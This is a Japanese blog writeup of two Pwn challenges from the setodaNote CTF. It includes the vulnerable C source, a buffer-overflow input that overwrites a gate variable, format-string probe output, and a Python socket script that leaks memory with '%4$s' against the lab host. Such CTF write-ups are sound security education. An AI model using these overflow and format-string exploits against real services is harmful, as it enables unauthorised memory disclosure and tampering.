好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

setodaNote CTF writeup [Pwn]

これは、2021/8/21~2021/9/4の期間で開催された、setodaNote CTFの Pwn 分野のwriteupです。全体writeupはこちら

tech.kusuwada.com

tkys_let_die (100)

瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13020

この設問では Linux ターミナルを使用します。 https://ctf.setodanote.net/webshell/

配布されたのは、実行ファイルとCのコード。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");    
    printf("\n");
    
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

gatenameの領域が確保されていて、名前を聞かれたときの入力がnameに保存される。2つの領域はつながっているので、nameを溢れさせてgateopenに書き換えれば良さそう。

$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> aaaaaaaaaaaaaaaaaaaaaaaaaaopen

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

1989 (200)

脆弱性を調査し、フラグを入手してください。

nc 10.1.1.10 13030

この設問では Linux ターミナルを使用します。 https://ctf.setodanote.net/webshell/

指定されたホストにつないでみると

$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _   
  / ____\ \        / /  ____|          /_ |___ \| || |  
 | |     \ \  /\  / /| |__     ______   | | __) | || |_ 
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |  
  \_____|   \/  \/   |______|           |_|____/   |_|  
                                                        
========================================================== 

        | 
flag    | [0x565c4060] >> flag is here << 
        | 

Ready > q
Your Inpur : q

ということで、CWE-134の脆弱性を利用する問題のよう。アドレス0x565c4060にflagがいるよ、というメッセージに見える。

CWE-134で検索すると、書式文字列(Format String)の脆弱性のよう。詳細はこのあたりの解説を参照。

ももいろテクノロジーさんの記事 format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー を参考に、調査用の入力をしてみる。

Ready > AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Your Inpur : AAAAffd33f60.ffd34368.565f3306.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78

と、4番目のブロックにAAAAの16進41414141が出てきているので、4番目のindexにセットしたアドレスの値を表示してくれそう。

いつもならpwntoolを使っているのだけど、webshell限定なのでpwntoolが入れられない&使えない。ncしながら攻撃コマンドを送るプログラムを調べて書くのに時間がかかった。地味にpython2系なのも辛い…。

#!/usr/bin/env python2

import struct
import socket
import re

host = '10.1.1.10'
port = 13030

# connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
data = s.recv(1024)
#print data

# get flag address
flag_addr = int(re.findall('\[.*\]', data)[0].replace('[','').replace(']',''), base=16)

# construct attack inpt
buf = struct.pack('<I', flag_addr)
buf += '%4$s'

# send attack input
s.send(buf + '\n')
data = s.recv(1024)
print data

実行結果

$ python solve.py 
Your Inpur : `�\Vflag{Homenum_Revelio_1989}

やった!